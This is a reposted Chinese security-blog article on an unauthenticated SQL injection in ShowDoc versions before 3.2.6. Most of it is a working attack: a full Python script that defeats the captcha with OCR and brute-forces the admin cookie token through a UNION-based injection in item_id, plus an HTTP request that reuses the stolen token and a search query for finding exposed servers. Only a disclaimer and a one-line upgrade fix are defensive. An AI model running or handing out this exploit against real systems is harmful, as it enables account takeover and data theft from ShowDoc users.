ShowDoc在线文档未授权sql漏洞

admin 2024年6月11日22:49:36评论40 views字数 3259阅读10分51秒阅读模式
漏洞复现

                   ShowDoc在线文档未授权sql漏洞

ShowDoc在线文档未授权sql漏洞

文章声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。本文所提供的工具仅用于学习,禁止用于其他目的,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
产品介绍

/

Product Introduction

ShowDoc在线文档未授权sql漏洞

ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc,你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。如果不想编辑markdown文档,你还可以利用showdoc的自动化能力,从程序注释中自动生成API文档,或者从搭配的RunApi客户端(类似postman的api调试工具)中一边调试接口、一边自动生成文档。通过分配项目成员和团队成员,你可以很方便地进行项目文档的权限管理和团队协作,也可以分享文档出去给朋友查看。ShowDoc还支持多平台客户端,有win客户端、mac客户端、ios、android等,更方便跨平台使用。目前超过100000+的互联网团队正在使用showdoc,包括知名公司内部的一些团队,比如腾讯、华为、百度、京东、字节跳动、顺丰等等。
漏洞详情

/

Vulnerability details

ShowDoc item_id 未授权SQL注入漏洞,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及爆破token绕过登录限制等。
影响版本:showdoc/showdoc(-∞, 3.2.6)
漏洞编号:无
漏洞类型:SQL注入
资产测绘

/

Asset mapping

ShowDoc在线文档未授权sql漏洞

360QUAKE: title: "ShowDoc"
漏洞复现

/

Vulnerability recurrence

利用Python脚本进行爆破Cookie-token(脚本来自网络)
注:脚本使用前执行pip install ddddocr后使用,否则会出现报错
import argparseimport ddddocrimport requestsimport onnxruntimefrom urllib.parse import urljoinonnxruntime.set_default_logger_severity(3)table = '0123456789abcdef'proxies = {'http': 'http://127.0.0.1:8083'}ocr = ddddocr.DdddOcr()ocr.set_ranges(table)class RetryException(Exception):  passdef retry_when_failed(func):  def retry_func(*args, **kwargs):    while True:      try:        return func(*args, **kwargs)      except RetryException:        continue      except Exception as e:        raise e  return retry_funcdef generate_captcha(base: str):  data = requests.get(f"{base}?s=/api/common/createCaptcha").json()  captcha_id = data['data']['captcha_id']  response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}')  data = response.content  result = ocr.classification(data)  return captcha_id, result@retry_when_faileddef exploit_one(base: str, current: str, ch: str) -> str:  captcha_id, captcha_text = generate_captcha(base)  data = requests.get(base, params={    's': '/api/item/pwd',    'page_id': '0',    'password': '1',    'captcha_id': captcha_id,    'captcha': captcha_text,    'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "  }).json()  if data['error_code'] == 0:    return ch  elif data['error_code'] == 10010:    return ''  elif data['error_code'] == 10206:    raise RetryException()  else:    print(f'error: {data!r}')    raise Exception('unknown exception')def main():  parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')  parser.add_argument('-u', '--url', type=str, required=True)  args = parser.parse_args()  target = urljoin(args.url, '/server/index.php')  res = ''  for i in range(64):    r = ''    for ch in list(table):      r = exploit_one(target, res, ch)      if r:        res += ch        break    print(f'token: {res}')    if not r:      breakif __name__ == '__main__':  main()
ShowDoc在线文档未授权sql漏洞

破解完成后获取到Cookie-token后,利用POC发包添加获取到的Cookie-token
POST /server/index.php?s=/api/item/info HTTP/1.1Host: 目标hostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 52Origin: http://web.thryw.com:4999Connection: closeReferer: http://web.thryw.com:4999/web/Cookie: think_language=zh-CN; PHPSESSID=c9f578e1f47f19a9af97e31d8b7eaeea; cookie_token=爆破后结果;item_id=7888995&keyword=&default_page_id=2199173
ShowDoc在线文档未授权sql漏洞

ShowDoc在线文档未授权sql漏洞

修复建议

/

Remediation recommendations

1、将组件showdoc/showdoc升级至3.2.6及以上版本

ShowDoc在线文档未授权sql漏洞

原文始发于微信公众号(Guoxin 401):漏洞复现|ShowDoc在线文档未授权sql漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日22:49:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ShowDoc在线文档未授权sql漏洞https://cn-sec.com/archives/2838717.html

发表评论

匿名网友 填写信息